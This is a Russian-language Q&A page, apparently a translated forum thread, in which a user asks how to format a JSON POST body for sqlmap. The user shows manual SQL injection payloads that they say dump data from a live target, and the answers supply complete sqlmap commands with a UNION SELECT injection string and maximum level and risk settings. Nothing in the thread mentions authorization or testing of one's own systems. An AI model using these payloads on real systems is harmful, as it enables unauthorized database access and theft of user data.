Формат JSON-пейлоада данных пользовательского поста в sqlmap

Вопрос или проблема

Я хочу выполнить SQL-инъекцию, но не знаю, как использовать команду. Пока я пробовал это:

--data="{'user_id':'6','user_with:5*'}" --prefix=" OR user_to = 5)" --suffix="#" -vvv`

Я использую ' вместо " в параметре, потому что данные для post в sqlmap должны быть в формате --data="параметр здесь".

Но последний вывод показывает:

{'user_id':'6','\'user_with:5 OR user_to = 5) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#''}

Это должно быть:

{'user_id':'6','user_with:5 OR user_to = 5) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#'}

Вот мой ручной способ:

{"user_id":"6","user_with":"5"} -> возвращает нормально
{"user_id":"6","user_with":"5'"} -> возвращает `У вас ошибка...`
{"user_id":"6","user_with":"5 OR user_to = 5) union select version(),2,3,4,5,6#"} -> возвращает дамп данных

Как мне выполнить то, что я хочу в sqlmap?

sqlmap автоматически обнаруживает полезную нагрузку json и пытается инъектировать, поэтому вместо вышеупомянутой полезной нагрузки, как:

--data="{'user_id':'6','user_with:5*'}" --prefix=" OR user_to = 5)" --suffix="#" -vvv`

используйте следующую полезную нагрузку:

--data="{\"user_id\":\"6\",\"user_with:5\"}" --prefix=" OR user_to = 5)" --suffix="#" -vvv`

вам не нужно использовать ' вместо " для использования параметра json с sqlmap, просто экранирование достаточно.

Ответ или решение

Для выполнения SQL-инъекции с использованием sqlmap и правильного формата JSON-пейлоада, необходимо обратить внимание на несколько ключевых моментов. Ваша исходная попытка использовать некорректный формат JSON, с одинарными кавычками, приводит к проблемам распознавания структуры данных.

Правильный формат JSON должен использовать двойные кавычки для обозначения полей и значений. Кроме того, если вы хотите выполнить SQL-инъекцию через параметры JSON, их необходимо правильно экранировать.

Предположим, что ваш запрос должен выглядеть так:

{"user_id":"6","user_with":"5"}

Вот как вы можете использовать sqlmap для внедрения SQL-инъекции. Вам необходимо выполнить следующую команду:

sqlmap -u "http://example.com/vulnerable_endpoint" --data="{\"user_id\":\"6\",\"user_with\":\"5 OR user_to = 5) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#\"}" --level=5 --risk=3 -vvv

Здесь:

  • --data передает данные в формате JSON.
  • Используются двойные кавычки с экранированием (\"), чтобы sqlmap правильно интерпретировал pейлоад.
  • --level и --risk позволяют повысить глубину и риск атак, что может помочь sqlmap найти уязвимости, если стандартная настройка не сработает.
  • В конце указываем -vvv, чтобы получить подробный вывод о процессе выполнения.

Если вы столкнетесь с ошибками, убедитесь, что ваш целевой URL корректен и что точка входа действительно уязвима к SQL-инъекциям. Также, важно использовать последнюю версию sqlmap, так как в ней могут быть исправлены ошибки и улучшена функциональность.

Надеюсь, данная информация поможет вам правильно использовать sqlmap для выполнения SQL-инъекций через JSON-пейлоад.

Оцените материал
Добавить комментарий

Капча загружается...